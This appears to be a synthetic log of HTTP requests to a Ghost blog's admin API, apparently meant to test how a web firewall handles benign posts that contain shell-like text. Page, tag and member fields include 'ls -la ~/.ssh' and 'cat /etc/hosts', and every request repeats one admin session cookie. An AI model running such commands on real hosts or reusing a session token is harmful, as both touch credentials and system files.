.htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=id%3A6af45d34d281b00001a599a0&limit=1&include=authors%2Cnewsletter%2Cemail", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 67", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af45d34d281b00001a599a0\",\"6af45711d281b00001a598a6\"]}"}
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 433", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"tags\":[{\"name\":\"Linux & ls -la\",\"slug\":\"linux-ls-la\",\"description\":\"Posts about ls -la, cat /etc/hosts, python3 and .htaccess.\",\"feature_image\":null,\"meta_title\":null,\"meta_description\":null,\"canonical_url\":null,\"twitter_image\":null,\"twitter_title\":null,\"twitter_description\":null,\"og_image\":null,\"og_title\":null,\"og_description\":null,\"codeinjection_head\":null,\"codeinjection_foot\":null,\"accent_color\":null,\"visibility\":\"public\"}]}"}
{"method": "GET", "target": "/ghost/api/admin/tags/slug/linux-ls-la/?include=count.posts", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tags-0mC6Zln1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=visibility%3Apublic", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/member-detail-BDR1RD_P.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/member-activity-feed-BtW3zf09.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?filter=status%3Aactive&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/InterVariable-Italic-FCBEiFp6.woff2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/index-C3xC5ZJE.css", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/labels/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"labels\":[{\"name\":\"powershell users\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/members/", "headers": ["Host: example.com", "Content-Length: 257", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"members\":[{\"email\":\"carol.python3@example.com\",\"name\":\"Carol python3 Example\",\"note\":\"Asked about .htaccess and ls -la on a shared host.\",\"labels\":[{\"name\":\"powershell users\",\"slug\":\"powershell-users\"}],\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\"}]}]}"}
{"method": "GET", "target": "/ghost/api/admin/members/6af45d70d281b00001a599ad/?include=tiers", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/metafields/custom/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/events/?filter=type%3A-%5B%27aggregated_click_event%27%5D%2Bdata.member_id%3A%276af45d70d281b00001a599ad%27&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?limit=100", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tiers/?filter=type%3Apaid", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=slug%3A%5B%27python3%27%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apython3%2Bstatus%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apython3%2Bstatus%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apython3%2Bstatus%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af458a5d281b00001a59969\"]}"}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=slug%3A%5B%27powershell%27%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apowershell%2Bstatus%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apowershell%2Bstatus%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apowershell%2Bstatus%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=slug%3A%5B%27linux-ls-la%27%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Alinux-ls-la%2Bstatus%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Alinux-ls-la%2Bstatus%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Alinux-ls-la%2Bstatus%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=slug%3A%5B%27shell-tips-htaccess%27%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Ashell-tips-htaccess%2Bstatus%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
